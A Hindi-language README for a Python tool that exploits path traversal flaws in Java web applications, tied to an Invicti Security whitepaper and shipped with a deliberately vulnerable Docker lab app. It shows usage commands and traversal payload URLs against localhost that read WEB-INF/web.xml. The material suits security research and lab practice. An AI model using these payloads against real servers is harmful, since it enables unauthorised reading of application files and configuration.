web-inf-path-trav

WebXMLExp.py

जावा वेब अनुप्रयोगों में पाथ ट्रैवर्सल कमजोरियों के शोषण में सहायता के लिए उपकरण।

यह उपकरण Invicti Security श्वेतपत्र जावा वेब अनुप्रयोगों में पाथ ट्रैवर्सल कमजोरियों का शोषण में संदर्भित है।

स्थापना

इस उपकरण के लिए Python3 आवश्यक है।

निम्न कमांड चलाएँ:

pip install -r requirements.txt

उपयोग:

स्थापना के बाद एक एक्सप्लॉइट URL इस प्रकार दें:

usage: python WebXMLExp.py <url_with_web_xml_exploit_or_inject_here_marker>

परिणाम (डाउनलोड की गई फ़ाइलें) results फ़ोल्डर में उपलब्ध हैं।

उदाहरण

python WebXMLExp.py "http://127.0.0.1:8082/vulnerable/download.servlet?filename=WEB-INF/web.xml"
python WebXMLExp.py "http://127.0.0.1:8082/vulnerable/download.servlet?filename=<INJECT-HERE>"

भेद्य वेब अनुप्रयोग डॉकर इमेज

पाथ ट्रैवर्सल भेद्यता के प्रति संवेदनशील एक वेब अनुप्रयोग docker फ़ोल्डर में प्रदान किया गया है।

प्रारंभ करने के लिए, docker फ़ोल्डर में प्रवेश करें और चलाएँ:

docker-compose up

एप्लिकेशन http://127.0.0.1:8082/vulnerable/ पर उपलब्ध है।

पाथ ट्रैवर्सल भेद्यता का शोषण करने के लिए यहाँ जाएँ: http://127.0.0.1:8082/vulnerable/download.servlet?filename=WEB-INF/web.xml